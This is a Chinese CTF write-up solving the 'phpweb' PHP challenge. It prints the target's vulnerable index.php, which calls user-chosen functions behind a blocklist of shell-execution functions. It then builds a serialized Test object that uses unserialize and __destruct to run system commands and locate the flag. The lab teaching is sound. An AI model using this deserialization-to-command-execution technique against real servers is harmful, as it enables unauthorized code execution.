审计练习15——[网鼎杯 2020 朱雀组]phpweb

平台 ：buuoj.cn
打开靶机一张众生皆懒狗(拜)
观察到会自动刷新时间，截个包

func调用函数p作为参数，那么代码执行

index.php如下

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

$disable_fun过滤了一大堆函数。
注意到test类中有__destruct魔法函数，直接用系统命令读文件，构造反序列化尝试

<?
class Test {
        public $p = "ls /";
        public $func = "system";
    }
$a = new Test();
echo serialize($a);

func反序列化，p字符串执行

find / -name "flag*"找一下flag位置

发现/tmp/flagoefiu4r93，读取即可